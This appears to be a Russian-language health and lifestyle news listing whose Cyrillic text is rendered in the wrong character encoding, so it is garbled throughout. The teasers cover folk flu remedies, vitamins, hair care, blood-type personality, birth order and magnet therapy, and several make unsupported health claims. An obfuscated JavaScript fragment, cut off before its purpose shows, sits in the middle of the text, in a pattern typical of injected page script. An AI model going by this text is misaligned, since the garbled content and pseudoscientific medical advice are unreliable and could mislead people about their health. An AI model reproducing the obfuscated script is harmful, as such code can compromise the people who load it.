Íîâîñòè
Íàòàëüèíà Îëüãà
Ïðèçíàííûå ïîìîùíèêè â áîðüáå ñ ÎÐÂÈ - âèòàìèíû À è Ñ. Ó÷åíûå îáíàðóæèëè, ÷òî öåëåáíûå ñâîéñòâà
Ïðèçíàííûå ïîìîùíèêè â áîðüáå ñ ÎÐÂÈ - âèòàìèíû À è Ñ. Ó÷åíûå îáíàðóæèëè, ÷òî öåëåáíûå ñâîéñòâà âèòàìèíîâ íàìíîãî óâåëè÷èâàþòñÿ, åñëè ïðèíèìàòü èõ âìåñòå ñ öèíêîì. Âñþ "âåëèêîëåïíóþ òðîéêó" âû íàéäåòå â îñåííåì àíòèïðîñòóäíîì êîêòåéëå.
Âûæìèòå ñîê èç ñâåæèõ ñâåêëû è ìîðêîâè ñðåäíåãî ðàçìåðà, ãðàíàòà è ìåëêîãî ëèìîíà. Âñå ýòî ñìåøàéòå.  íàïèòêå ðàñòâîðèòå ñòîëîâóþ ëîæêó ìåäà. ×òîáû èç ñâåêëû óëåòó÷èëèñü ðàçäðàæàþùèå âåùåñòâà, âûäåðæèòå êîêòåéëü 30 ìèíóò â õîëîäèëüíèêå. Ïåéòå ïî 2-3 ñòîëîâûå ëîæêè çà ÷àñ äî åäû.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Ñòàòèñòèêà ñâèäåòåëüñòâóåò: î÷åðåäíîñòü ðîæäåíèÿ ñâÿçàíà ñ ðàçëè÷íûìè àñïåêòàìè ÷åëîâå÷åñêîãî ïîâåäåíèÿ, óòâåðæäàåò àìåðèêàíñêèé äîêòîð Ëþñèëü Ôîðåð.
Òàê, ñòàðøèå áðàòüÿ â ñåìüå ñòàíîâÿòñÿ õîðîøèìè îòöàìè è çàáîòëèâûìè ðîäèòåëÿìè, ñòðîãî ñëåäÿùèìè çà äèñöèïëèíîé. Ñòàðøèå ñåñòðû - õîðîøèå ìàòåðè, îíè îêðóæàþò äåòåé âíèìàíèåì è çàáîòîé. Îáû÷íî ó íèõ áûâàåò íåñêîëüêî äåòåé. Ìëàäøèå áðàòüÿ õîðîøî îáùàþòñÿ ñ äåòüìè, íî èì íå ñëåäóåò ñîçäàâàòü áîëüøèå ñåìüè. Îíè ñ÷àñòëèâû ñ îäíèì ðåáåíêîì è, êàê ïðàâèëî, ó íèõ íå áûâàåò áîëüøå äâóõ.
Áîëüøèíñòâî ìëàäøèõ ñåñòåð ñ÷àñòëèâû ñ äåòüìè, íî ñàìàÿ áîëüøàÿ ðàäîñòü äëÿ íèõ, êîãäà äåòîê íå áîëåå äâóõ. Êàê è ìëàäøèå áðàòüÿ, îíè õîðîøî ëàäÿò ñ äåòüìè, íî èìåþò ïðîáëåìû ñ äèñöèïëèíîé.
Åäèíñòâåííûå äåòè, êàê ïðàâèëî, ñ÷àñòëèâû è áåç äåòåé, à åñëè çàâîäÿò...
Ãîëëàíäñêèå ó÷åíûå îòêðûëè äîâîëüíî ðåäêèé ïîñòîðãàçìè÷åñêèé ñèíäðîì, äëÿ êîòîðîãî õàðàêòåðíû
Ãîëëàíäñêèå ó÷åíûå îòêðûëè äîâîëüíî ðåäêèé ïîñòîðãàçìè÷åñêèé ñèíäðîì, äëÿ êîòîðîãî õàðàêòåðíû áîëü â ãîðëå, ñèëüíàÿ óñòàëîñòü, ïîâûøåííîå ïîòîîòäåëåíèå, ðàçäðàæåíèå ãëàç. Íåïðèÿòíûå îùóùåíèÿ, íàïîìèíàþùèå ïðîñòóäó, äëÿòñÿ îò 3 äî 7 äíåé ïîñëå îðãàçìà. ×àùå âñåãî òàêîé ñèíäðîì îòìå÷àåòñÿ ó ìóæ÷èí ñðåäíåãî âîçðàñòà.
Ïî ìíåíèþ èññëåäîâàòåëåé, ïîäîáíîå ðàññòðîéñòâî ìîæåò áûòü ñëåäñòâèåì àëëåðãè÷åñêîé èëè èììóííîé ðåàêöèè îðãàíèçìà íà âûáðîñ â êðîâü õèìè÷åñêèõ âåùåñòâ. "Ìû çíàåì, ÷òî âî âðåìÿ îðãàçìà è ýÿêóëÿöèè â îðãàíèçìå âûäåëÿþòñÿ îñîáûå õèìè÷åñêèå ñîåäèíåíèÿ, òàêèå, êàê ãîðìîíû. Ñîãëàñíî îäíîé èç ãèïîòåç, áîëüíûå ìîãóò èìåòü àëëåðãèþ...
Õîòÿ ñåãîäíÿ åñòü ìàññà øèêàðíûõ êîðîòêèõ ñòðèæåê, äëèííûå âîëîñû âñåãäà îñòàþòñÿ óêðàøåíèåì
Õîòÿ ñåãîäíÿ åñòü ìàññà øèêàðíûõ êîðîòêèõ ñòðèæåê, äëèííûå âîëîñû âñåãäà îñòàþòñÿ óêðàøåíèåì æåíùèíû. Êàê çàñòàâèòü èõ ðàñòè áûñòðåå? Îáðàòèìñÿ çà ñîâåòîì ê êîñìåòîëîãó Ñâåòëàíå ÇÅËÅÍÈÍÎÉ:
×òîáû âîëîñû ëó÷øå ðîñëè, èõ íàäî ïîäêîðìèòü. Âåðíåå, ïîäêîðìèòü æåëàòåëüíî ëóêîâèöû âîëîñ. Âîò íåñêîëüêî íåõèòðûõ ñïîñîáîâ.
Âîçüìèòå ñåìåíà ïåòðóøêè è èçìåëü÷èòå èõ â ìóêó (ìîæíî â êîôåìîëêå). Òðè âå÷åðà ïîäðÿä ïóäðèòå ýòèì ïîðîøêîì êîðíè âîëîñ. Çàòåì, ïîâÿçàâ ãîëîâó ïëàòêîì, ëîæèòåñü ñïàòü, à óòðîì ãîëîâó õîðîøåíüêî ïðîìîéòå êèïÿ÷åíîé âîäîé ñ øàìïóíåì ñ õíîé èëè ðîìàøêîé.
Ñëåäèòå çà ÷èñòîòîé âîëîñ. Ëó÷øå ìûòü èõ ïî÷àùå, åñëè âû æèâåòå â ïðîìûøëåííîì...
Âèä ïëà÷óùåãî ÷åëîâåêà âûçûâàåò ó íîðìàëüíûõ ëþäåé ÷óâñòâî îñòðîé æàëîñòè. Íî, îêàçûâàåòñÿ, ïëà÷ íàì æèçíåííî íåîáõîäèì. Ýòî ñâîåãî ðîäà êëàïàí, ÷åðåç êîòîðûé ìû âûïóñêàåì âûçâàííûå ñòðåññîì íåðâîçíîñòü, âîçáóæäåíèå è òðåâîãó, çàìå÷àåò ïñèõîëîã Àíäðåé ×ÅÐÍÎÂ.
Áîëåå òîãî, òîò, êòî óìååò ïëàêàòü è íå áîèòñÿ ïðîÿâëÿòü ñâîèõ ÷óâñòâ, æèâåò çíà÷èòåëüíî äîëüøå, òàê êàê äàæå 50 ñëåçèíîê íàïîëîâèíó ñíèæàþò âîçäåéñòâèå ñòðåññà è óñïîêàèâàþùå âëèÿþò íà âîçáóæäåííîãî ÷åëîâåêà.
Îáû÷íî ìû íå ýêîíîìèì íà ñëåçàõ: â òå÷åíèå æèçíè ïî ëèöó ÷åëîâåêà ñòåêàåò 70 ëèòðîâ ñëåç. Æåíùèíû ïëà÷óò â ïÿòü ðàç ÷àùå, ÷åì ìóæ÷èíû.
Íåâûïëàêàííûå ñëåçû íåðåäêî ïðèâîäÿò ê ÿçâå æåëóäêà, âîñïàëåíèþ òîëñòîé êèøêè, àñòìå è äàæå ñåðäå÷íîé íåäîñòàòî÷íîñòè. Ïîýòîìó íå íàäî ñòûäèòüñÿ ïëàêàòü!
Æåíùèíû èìåþò ñêëîííîñòü îìûâàòü ñëåçàìè äàæå ðàäîñòíîå ñîáûòèå: ïî ýòîìó ïîâîäó îíè ïðîëèâàþò 21 ïðîöåíò ñëåç.  30 ïðîöåíòàõ ñëó÷àåâ ëþäè ïëà÷óò...
Õîòèòå èìåòü âûíîñëèâîñòü ìàðàôîíöà, ñïîñîáíîñòè ãåíèÿ è ñàìî÷óâñòâèå éîãà? Åøüòå áàíàíû, ðåêîìåíäóþò äèåòîëîãè è ïñèõîëîãè.
Áàíàíû áîãàòû óãëåâîäàìè - îñíîâíûìè èñòî÷íèêàìè ýíåðãèè äëÿ îðãàíèçìà. Ìóñêóëû â èõ îòñóòñòâèå ïîòåðÿëè áû ñâîþ ñèëó. Ãëþêîçà - ïèòàíèå íàøåãî ìîçãà è íåðâîâ. Îðãàíèçì ìîæåò ñêëàäèðîâàòü åå ëèøü â îãðàíè÷åííûõ äîçàõ è âñåãî íà 3-4 ÷àñà. Ïîýòîìó ðåãóëÿðíîå ïîñòóïëåíèå ýòîãî ýëåìåíòà î÷åíü âàæíî. Áàíàíû äîñòàâëÿþò óãëåâîäû â îïòèìàëüíî óñâàèâàåìîé ôîðìå. Îíè íå ïðåäñòàâëÿþò íàãðóçêè äëÿ ïèùåâàðèòåëüíîé ñèñòåìû è â îòëè÷èå îò äðóãèõ âûñîêîýíåðãåòè÷åñêèõ ïðîäóêòîâ ïî÷òè ëèøåíû æèðîâ. Íî â íèõ: 10 âèäîâ âèòàìèíîâ, 18 ìèíåðàëîâ, êàëèÿ è ìàãíèÿ ãîðàçäî áîëüøå, ÷åì â äðóãèõ ôðóêòàõ. Ïîýòîìó îíè ïîëåçíû äëÿ õîðîøåé ðàáîòû ñåðäöà, íåðâîâ è ìóñêóëîâ,...
Õîòèòå îïðåäåëèòü, ñêîëüêî âàì ëåò íå ïî ïàñïîðòó, à â íàòóðå? Òîãäà ïðîòåñòèðóéòå ñåáÿ.
Ñîñòîÿíèå êîæè. ×åì ìû ñòàðøå, òåì õóæå îíà ñíàáæàåòñÿ êðîâüþ, ìåíüøå óâëàæíåíà, ñòàíîâèòñÿ òîíüøå. Óùèïíèòå êîæó íà ïîâåðõíîñòè ëàäîíè, ïîäåðæèòå 5-6 ñåêóíä. Åñëè ñëåä îò ùèïêà èñ÷åçíåò ÷åðåç 2-3 ñåêóíäû, âàøà êîæà íå ñòàðøå 20 ëåò, åñëè ÷åðåç 4 - åé îêîëî 30, åñëè ÷åðåç 10 ñåêóíä - îêîëî 50, à åñëè æäàòü ïðèäåòñÿ îêîëî 12 ñåêóíä, çíà÷èò, âàø áèîëîãè÷åñêèé âîçðàñò ïðèáëèæàåòñÿ ê 60 ãîäàì.
Ñîñòîÿíèå ëåãêèõ. Ðàññòîÿíèå, íà÷èíàÿ ñ êîòîðîãî âàì óäàåòñÿ çàäóòü ñâå÷ó ñ ïåðâîé ïîïûòêè, îïðåäåëÿåò ñîñòîÿíèå âàøèõ ëåãêèõ. Ðàññòîÿíèå 1 ìåòð ñâèäåòåëüñòâóåò î òîì, ÷òî âàøèì ëåãêèì 20 ëåò, 70-80 ñàíòèìåòðîâ - 40 ëåò, 50-60 ñàíòèìåòðîâ - îêîëî 60.
Îöåíêà...
Êàê ïðàâèëüíî ïîäáèðàòü è èñïîëüçîâàòü äóõè è ïðî÷èé "ïàõó÷èé" ïàðôþì, ÷òîáû íå îòïóãíóòü, à, íàïðîòèâ, çàâîðîæèòü îêðóæàþùèõ? Âîïðîñ íå òàê ïðîñò, êàê êàæåòñÿ. Íàøèõ ÷èòàòåëüíèö êîíñóëüòèðóåò êîñìåòîëîã Ëàðèñà ÌÀÊÀÐÎÂÀ.
Ìîëîäûì äåâóøêàì è æåíùèíàì ëó÷øå ïîäáèðàòü ïàðôþìåðèþ ñ öâåòî÷íî-îñâåæàþùèì ðîìàíòè÷åñêèì çàïàõîì. Æåíùèíàì áàëüçàêîâñêîãî âîçðàñòà è çðåëûì áîëüøå ïîäîéäóò äóõè ñ ïðåîáëàäàíèåì ïðÿíîãî èëè ñâåæåãî íåíàâÿç÷èâîãî àðîìàòà. Ýòî ìîæåò áûòü öâåòî÷íàÿ ñìåñü ñ íîòàìè öèòðóñîâûõ, ñìåøàííûõ ñ çàïàõàìè öâåòêà àïåëüñèíà è ðîçû, íà ëåãêîé áàëüçàìíîé îñíîâå ñ îòòåíêàìè ðåäêèõ äåðåâüåâ è ìõîâ. Äëÿ àêòèâíûõ æåíùèí ïîäõîäÿò òàê íàçûâàåìûå ïàïîðîòíèêîâûå àðîìàòû - ñâåæåãî âîçäóõà, çåëåíè, ëèñòâû, ñâåæåñêîøåííîé òðàâû. Æåíùèíàì-ëèäåðàì ïîäõîäÿò âîñòî÷íûå (àìáðîâûå) àðîìàòû.
Åñòü àðîìàòû, âîçáóæäàþùèå ñåêñóàëüíûå æåëàíèÿ, - ôðóêòîâî-øèïðîâûå è öâåòî÷íî-àëüäåãèäíûå.
ÊÀÊ...
Ñèíäðîì õðîíè÷åñêîé óñòàëîñòè - îäíà èç íàèáîëåå "ìîäíûõ" ñåãîäíÿ áîëåçíåé. Óñòàëîñòü, êîãäà-òî íàñòèãàþùàÿ àáñîëþòíî êàæäîãî èç íàñ, ìîæíî ïîáîðîòü âîò òàêèìè íåõèòðûìè óïðàæíåíèÿìè, ïðåäëîæåííûìè âðà÷îì ïî ëå÷åáíîé ôèçêóëüòóðå Þðèåì Îñîåâûì.
* Åñëè ãîëîâà âäðóã ñòàëà òÿæåëîé è âû ÷óâñòâóåòå óòîìëåíèå, ñÿäüòå ïðÿìî, îòêëîíèòå ãîëîâó íàçàä äî ïðåäåëà è çàäåðæèòå â ýòîì ïîëîæåíèè 8-10 ñåêóíä, çàòåì óðîíèòå åå íà ãðóäü. Ïîñèäèòå òàê íåñêîëüêî ñåêóíä, çàòåì ïîâòîðèòå âñå ñíà÷àëà.
* Åñëè îò íàïðÿæåíèÿ óñòàëè ãëàçà, çàêðîéòå èõ íà 5 ñåêóíä, îòêðîéòå è ïîñìîòðèòå íà ïåðåíîñèöó. Ïðîäåëàéòå 5 ðàç.
* Åñëè âû ñèëüíî âçâîëíîâàíû èëè âîçáóæäåíû, ïîäûøèòå ãëóáîêî.
* Åñëè âàñ êëîíèò â ñîí, ñÿäüòå ïðÿìî, íåçàìåòíî îòâåäèòå ïëå÷è íàçàä, ïîäáîðîäîê ïðèïîäíèìèòå, ðóêè îïóñòèòå âäîëü òóëîâèùà, ëàäîíè ïàðàëëåëüíî ñèäåíüþ ñòóëà. Íàïðÿãèòå ìûøöû ñïèíû, ðóê, øåè è çàäåðæèòåñü â ýòîì ïîëîæåíèè íà...
Êàæäûé, åñëè çàõî÷åò, ìîæåò ñòàòü óìíåå. Êîíå÷íî, ïðèâîäèìûå íèæå ðåêîìåíäàöèè íå ïðåâðàòÿò ñëàáîóìíîãî ÷åëîâåêà â Ýéíøòåéíà. Íî, êàê ñ÷èòàåò ïñèõîëîã Ëåñëè Ñòýíëàíä, êàæäûé èç ýòèõ ïðèåìîâ ñòèìóëèðóåò óìñòâåííûå ñïîñîáíîñòè è óñèëèâàåò èíòåëëåêò.
Áîëüøå ñëóøàéòå êëàññè÷åñêóþ ìóçûêó, îñîáåííî Ìîöàðòà. Êîýôôèöèåíò èíòåëëåêòà, ïî ìíåíèþ ïñèõîëîãà, ïîâûøàåòñÿ ïðè 20-ìèíóòíîì åæåäíåâíîì ïðîñëóøèâàíèè ìóçûêè ýòîãî ìóçûêàëüíîãî ãåíèÿ.
*** Ïåéòå çåëåíûé è òðàâÿíîé ÷àè. Îíè óëó÷øàþò êðîâîñíàáæåíèå ìîçãà, óñèëèâàþò ïàìÿòü è îñòðîòó óìà.
*** Åæåäíåâíî ñîâåðøàéòå 20-30-ìèíóòíûå ïðîãóëêè. Íàáëþäåíèÿ ó÷åíûõ ïîêàçàëè: õîäüáà, áåã òðóñöîé èëè åçäà íà âåëîñèïåäå ñòèìóëèðóþò èíòåëëåêò.
*** Ïîòðåáëÿéòå áîëüøå ïðîäóêòîâ, ñîäåðæàùèõ áåëîê. Ñ äàâíèõ âðåìåí èçâåñòíî, ÷òî ðûáà ïèùà äëÿ ìîçãà. Â òî æå âðåìÿ ïèùà, áîãàòàÿ ïðîòåèíîì, - ãîâÿäèíà, êóðû, ñûð - òàêæå ïîçèòèâíî ñêàçûâàåòñÿ íà äåÿòåëüíîñòè ìîçãà.
***...
Ñåé÷àñ, â ðàçãàð ýïèäåìèè ãðèïïà, ïðèñëóøàåìñÿ ê íåêîòîðûì íàðîäíûì ðåöåïòàì, êîòîðûå ïîìîãóò íàì íå ïóñòèòü ãðèïï íà ïîðîã. À òåì, êòî âñå-òàêè çàáîëåë, ðåàëüíî è äîñòóïíî ïîìîãóò áûñòðåå èçëå÷èòüñÿ.
Äëÿ ïðîôèëàêòèêè ãðèïïà:
1 ëèìîí ïîëîæèòü íà 1 ìèíóòó â ãîðÿ÷óþ âîäó, ïðîïóñòèòü ÷åðåç ìÿñîðóáêó âìåñòå ñ öåäðîé, ñìåøàòü ñî 100 ãðàììàìè ìÿãêîãî ñëèâî÷íîãî ìàñëà è 1-2 ñòîëîâûìè ëîæêàìè ìåäà. Èñïîëüçîâàòü êàê îáû÷íîå ìàñëî.
Ìàñëî ðàñòèòåëüíîå âûäåðæàòü 30-40 ìèíóò íà âîäÿíîé áàíå, îõëàäèòü. Ìåëêî íàðåçàòü 3-4 äîëüêè ÷åñíîêà è 1/4 ëóêîâèöû, çàëèòü ìàñëîì. ×åðåç 2 ÷àñà ïðîöåäèòü è ñìàçûâàòü ýòèì íàñòîåì ñëèçèñòóþ íîñà.
3 ñòîëîâûå ëîæêè ìåëêî íàðåçàííîãî ëóêà çàëèòü 50 ìë òåïëîé âîäû, äîáàâèòü 1/4 ÷àéíîé ëîæêè ìåäà, íàñòàèâàòü 30 ìèíóò. Çàêàïûâàòü â íîñ.
Äëÿ ëå÷åíèÿ ãðèïïà:
Åñëè âû çàáîëåëè, íåìåäëåííî âûïåéòå ñòîëîâóþ ëîæêó ñîêà êðàñíîé...
Ê íàñìîðêó íàø ÷åëîâåê îòíîñèòñÿ ïðåíåáðåæèòåëüíî. Äåñêàòü, ëå÷è íå ëå÷è - âñå ðàâíî íåäåëþ õîäèòü ñ ïëàòêîì ó íîñà. Íî èìåííî ïðèíöèïèàëüíûå ñòîðîííèêè "ïåðåæèäàíèÿ" íàñìîðêà ÷àùå âñåãî ñòàíîâÿòñÿ ïîñòîÿííûìè êëèåíòàìè ëîðâðà÷åé. Ïîýòîìó ëå÷èòü íàñìîðê íàäî ñ ñàìîãî ïåðâîãî ìîìåíòà íåäîìîãàíèÿ: çàëîæèëî íîñ, ïîÿâèëîñü îùóùåíèå ææåíèÿ, ïåðøåíèÿ â íîñó, ÷èõàíèå, ãîëîâíàÿ áîëü - çíà÷èò ïîðà!
- Íà÷èíàéòå íå ñ ëåêàðñòâ, à áàáóøêèíûõ ðåöåïòîâ, - ñîâåòóåò ïðîôåññîð Âëàäèìèð Ïàëü÷óí. - Íàïðèìåð, íà 5-7 ìèíóò ïîãðóæàåòå ñòîïû íîã äî ùèêîëîòîê â òàç ñ ãîðÿ÷åé âîäîé. Ìîæíî äîáàâèòü â âîäó ãîð÷èöó èëè ìîðñêóþ ñîëü. Ïîñëå âàííî÷êè õîðîøî ðàñòåðåòü ñòîïû ïèõòîâûì ìàñëîì èëè ýôêàìîíîì. Èëè õîòÿ áû ïðîñòî íàäåòü øåðñòÿíûå íîñêè, ïðè÷åì ÷åì ãðóáåå øåðñòü íîñêîâ, òåì ëó÷øå.
Êàçàëîñü áû, ãäå íîñ, à ãäå íîãè... Íî ïîäîøâû íîã - ýòî áîãàòàÿ ðåôëåêòîðíàÿ çîíà, íà êîòîðóþ è íàïðàâëåíî òåìïåðàòóðíîå âîçäåéñòâèå.
Òåïëî äîëæíî ïîñòóïàòü â îðãàíèçì è "ñâåðõó" - ïåéòå êàê ìîæíî áîëüøå ãîðÿ÷åãî: ÷àé ñ ìåäîì, ñ ëèìîíîì, îòâàð øèïîâíèêà, ÷åðíîñìîðîäèíîâûé,...
Ãîëîâíàÿ áîëü áûâàåò ñàìîãî ðàçíîãî ïðîèñõîæäåíèÿ. Ñíà÷àëà èùèòå ïðè÷èíó. Èñêëþ÷èòå ïëîõî
Ãîëîâíàÿ áîëü áûâàåò ñàìîãî ðàçíîãî ïðîèñõîæäåíèÿ. Ñíà÷àëà èùèòå ïðè÷èíó. Èñêëþ÷èòå ïëîõî ïîäîáðàííûå î÷êè è çàñîðåíèå æåëóäêà. Ãîëîâíûå áîëè ìîæåò âûçâàòü íèçêîå äàâëåíèå, â ýòîì ñëó÷àå âàì ïîìîãóò êîôå èëè ÷àé.
Ïðèâû÷íûå "íåðâíûå" áîëè - âûïåéòå âàëåðèàíû èëè ïóñòûðíèêà, ïðèìèòå âàííó ñ ìîðñêîé ñîëüþ.
"Òÿæåëàÿ ãîëîâà" îò ïåðåóòîìëåíèÿ - ïðèìèòå òåïëóþ âàííó, ñúåøüòå êóñîê ñîëåíîé ðûáû, âûïåéòå îòâàð èëè íàñòîé ìåëèññû.
Áîëè â çàòûëêå - ñäåëàéòå íàêëîíû ãîëîâû â ðàçíûå ñòîðîíû, ïîìàññèðóéòå ãîëîâó.
Ñîñóäèñòûé ñïàçì - îïóñòèòå ðóêè ïî ëîêîòü â ãîðÿ÷óþ âîäó. Âûïåéòå êðåïêîãî ñëàäêîãî ÷àÿ.
Ïðîôèëàêòèêà ïðàêòè÷åñêè âñåõ ãîëîâíûõ áîëåé -...
Âñåì, íàâåðíîå, èçâåñòíû ñåêñóàëüíûå "ïîäâèãè" ïûëêîãî èòàëüÿíöà. Íî íå âñå, âåðîÿòíî, çíàþò,
Âñåì, íàâåðíîå, èçâåñòíû ñåêñóàëüíûå "ïîäâèãè" ïûëêîãî èòàëüÿíöà. Íî íå âñå, âåðîÿòíî, çíàþò, êàêîå îãðîìíîå çíà÷åíèå ãåðîé-ëþáîâíèê âñåõ âðåìåí è íàðîäîâ ïðèäàâàë äèåòå. Êàê æå íóæíî ïèòàòüñÿ ìóæ÷èíå, ÷òîáû âñåãäà áûòü íà âûñîòå?
Ìåíþ Äæîâàííè Äæàêîìî Êàçàíîâû áûëî äîñòàòî÷íî ýêçîòè÷íûì, íî ýòî íå çíà÷èò, ÷òî åãî íåëüçÿ âîñïðîèçâåñòè â ñîâðåìåííûõ óñëîâèÿõ. Âîò ëèøü íåêîòîðûå èç áëþä çíàìåíèòîãî ëîâåëàñà, áëàãîäàðÿ êîòîðûì îí âñåãäà áûë â "áîåâîé ãîòîâíîñòè".
ßéöà, ñâàðåííûå âêðóòóþ, Êàçàíîâà ñ÷èòàë îäíèì èç ñàìûõ óêðåïëÿþùèõ ïðîäóêòîâ. Äëÿ ïóùåãî ýôôåêòà îí âåëåë óïîòðåáëÿòü èõ âìåñòå ñ àí÷îóñàìè. Íå ìåíåå ñòèìóëèðóþùèì ïðîäóêòîì ñ÷èòàë...
Íîÿáðü. À âåäü ïðàâû, îõ, ïðàâû áûëè äðåâíèå ýñêóëàïû, ìíîãèå íåäóãè ëå÷èâøèå òåïëîì. Âåäü ïðè òåïëîâîì âîçäåéñòâèè íà áîëüíîé îðãàí óëó÷øàåòñÿ êðîâîîáðàùåíèå, èäåò íàñûùåíèå êèñëîðîäîì, ëîêàëüíî óëó÷øàåòñÿ îáìåí âåùåñòâ, óñêîðÿåòñÿ çàæèâëåíèå òêàíåé. Ñîâðåìåííàÿ íàóêà è ïðàêòè÷åñêàÿ ìåäèöèíà âûÿñíèëè è åùå îäèí ïîëîæèòåëüíûé ôàêòîð òåïëîâîãî âîçäåéñòâèÿ, íå èçâåñòíûé äðåâíèì ëåêàðÿì. Ïðè òåìïåðàòóðå 40 ãðàäóñîâ çàìåäëÿåòñÿ ðàçâèòèå íåêîòîðûõ âèðóñîâ, ïîëèîìèåëèòà, ê ïðèìåðó, èëè ãðèïïà. Êðàòêîâðåìåííîå âîçäåéñòâèå òåìïåðàòóðû 53-56 ãðàäóñîâ ïðèâîäèò ê áûñòðîé èõ ãèáåëè.
ÃÐÈÏÏ - Â ÏÓÒÈ. ÏÐÎÑÒÓÄÀ - Ñ ÍÀÌÈ
Çíàåòå ëè âû, êàêîå ñàìîå ðàñïðîñòðàíåííîå çàáîëåâàíèå íà çåìëå? Êîíå÷íî, çíàåòå, ýòî - ðèíèò, ïðîùå ãîâîðÿ, íàñìîðê. Ïðè÷èíû åãî ñàìûå ðàçíûå, íî ìåõàíèçì - îäèí: âäûõàåìûé âîçäóõ ñîäåðæèò ìíîæåñòâî âðåäíûõ ïðèìåñåé, â òîì ÷èñëå èíôåêöèþ. À åñëè çà îêíîì ê òîìó æå ñûðîñòü è ñëÿêîòü - íàñìîðê ïëàâíî ïåðåõîäèò â ÎÐÂÈ. À òî è â ãðèïï.
Êñòàòè, î ãðèïïå. Âñåìèðíàÿ îðãàíèçàöèÿ çäðàâîîõðàíåíèÿ ðàññûëàåò î÷åðåäíîå "øòîðìîâîå ïðåäóïðåæäåíèå" î íàøåñòâèè íà ïëàíåòó âèðóñà ãðèïïà, êîâàðíîãî è ìíîãîëèêîãî. Ýïèäåìèþ îáåùàþò ñîâåðøåííî òî÷íî. À ýòî çíà÷èò: æäè ìàññîâûõ ñëó÷àåâ áîëåçíè, èíîãäà - ñ òÿæåëåéøèìè îñëîæíåíèÿìè,...
Âñåì íàì ïðèõîäèëîñü áîëåòü. Âñïîìíèòå, óâàæàåìûé ÷èòàòåëü, êîãäà âû â ïîñëåäíèé ðàç áûëè â êàáèíåòå ôèçèîòåðàïèè? Ïðîøëîé çèìîé, äâà ãîäà íàçàä, íå ìîæåòå ïðèïîìíèòü? Íå óäèâèòåëüíî! Íåñìîòðÿ íà òî, ÷òî ôèçèîïðîöåäóðíûé êàáèíåò åñòü â êàæäîé ïðèëè÷íîé ïîëèêëèíèêå è áîëüíèöå, ìíîãèå âðà÷è, à çà íèìè - è ïàöèåíòû, çàáûâàþò î íåì. È ñîâåðøåííî, íàäî ñêàçàòü, íå çàñëóæåííî. Èáî ñàìà èñòîðèÿ ìåäèöèíû - îò Ðîìóëà äî íàøèõ äíåé - ãîâîðèò îá îáðàòíîì. À èìåííî: ôèçè÷åñêèå ôàêòîðû èìåþò ðåøàþùå çíà÷åíèå â öåëåáíîì âîçäåéñòâèè íà îðãàíèçì.
ÒÀÉÍÛ ÒÅÏËÀ È ÌÀÃÍÈÒÀ
Åùå â ãëóáîêîé äðåâíîñòè ÷åëîâåê èñïîëüçîâàë äîñòóïíûå ôèçè÷åñêèå ìåòîäû äëÿ ëå÷åíèÿ è ïðîôèëàêòèêè. Î ëå÷åáíûõ ñâîéñòâàõ ìàãíèòîâ óïîìèíàë è Àðèñòîòåëü, è Ïëèíèé Ñòàðøèé, è Ïàðàöåëüñ.
Ñ ÷åì æå ñâÿçàí ñòîëü óäèâèòåëüíûé ýôôåêò? Îêàçûâàåòñÿ, ïîä âîçäåéñòâèåì òåïëà è ìàãíèòà ïîâûøàåòñÿ óñòîé÷èâîñòü îðãàíèçìà ê áîëåçíåòâîðíûì ôàêòîðàì, à çíà÷èò, çàðàçà îáõîäèò âàñ ñòîðîíîé.
Åñòü è åùå îäèí âàæíûé ìîìåíò: òåïëî è ìàãíèòîòåðàïèÿ ïîçâîëÿþò ÷åëîâåêó ñàìîìó, çà ñ÷åò ðàíåå äðåìëþùèõ âíóòðåííèõ ðåçåðâîâ, ñïðàâèòüñÿ ñ çàáîëåâàíèåì - ÷àñòî äàæå áåç ëåêàðñòâ. Ñåãîäíÿ âûïóñêàþòñÿ ñîâåðøåííûå ôèçèîòåðàïåâòè÷åñêèå ïðèáîðû è àïïàðàòû,...
Íåâàæíî, êàêîé êîôå âû ïðåäïî÷èòàåòå - ðàñòâîðèìûé èëè â çåðíàõ, íî åñëè âû åæåäíåâíî ïüåòå ïî
Íåâàæíî, êàêîé êîôå âû ïðåäïî÷èòàåòå - ðàñòâîðèìûé èëè â çåðíàõ, íî åñëè âû åæåäíåâíî ïüåòå ïî 2 ÷àøêè, òî òåì ñàìûì çíà÷èòåëüíî ñíèæàåòå ñâîé øàíñ ñòàòü ñàìîóáèéöåé.
Ê òàêîìó íåîæèäàííîìó âûâîäó ïðèøëè àâòîðû íîâîãî èññëåäîâàíèÿ, êîòîðûå îïóáëèêîâàíû â îäíîì èç àìåðèêàíñêèõ ìåäèöèíñêèõ æóðíàëîâ. Ïî-âèäèìîìó, ïîòðåáëåíèå êîôå îáëàäàåò ñïîñîáíîñòüþ îòïóãèâàòü íåïðèÿòíûå ìûñëè, â îñîáåííîñòè ó æåíùèí, îòìå÷àþò ñïåöèàëèñòû. Îêàçàëîñü, ÷òî ó ìåäñåñòåð, âûïèâàþùèõ åæåäíåâíî 3 ÷àøêè êîôå, ñîäåðæàùåãî êîôåèí, øàíñîâ ñòàòü ñàìîóáèéöåé íà 66 ïðîöåíòîâ ìåíüøå, ÷åì ó òåõ, êòî âîâñå îòêàçàëñÿ îò ýòîãî íàïèòêà èëè ïðåäïî÷èòàåò êîôå áåç êîôåèíà.
function...
Æàí-Ëóè Äåãàíäåíçè, àâòîð âûøåäøåé âî Ôðàíöèè êíèãè "Òàéíû âàøåé ãðóïïû êðîâè", ïîìîæåò îïðåäåëèòü, êàêèì ïàðòíåðîì âû ÿâëÿåòåñü â ëþáâè.
2-ß ÃÐÓÏÏÀ ÊÐÎÂÈ
Ìóæ÷èíà. Îí î÷åíü çàñòåí÷èâ, ñâîþ ëþáîâü âûðàæàåò âçãëÿäîì, ëåãêèì ïðèêîñíîâåíèåì ðóêè, íî åñëè ðåøàåò îáíàðóæèòü ñåáÿ, äåëàåò ýòî äîâîëüíî ðåçêî.  ñåìåéíîé æèçíè ïàðòíåðøà äîëæíà ïîñòîÿííî äîêàçûâàòü, ÷òî îíà åãî ëþáèò. Îí îáîæàåò ÷óâñòâîâàòü íà ñåáå ìàòåðèíñêóþ çàáîòó, ïîýòîìó ÷àñòî âûáèðàåò æåíùèí ñòàðøå ñåáÿ.
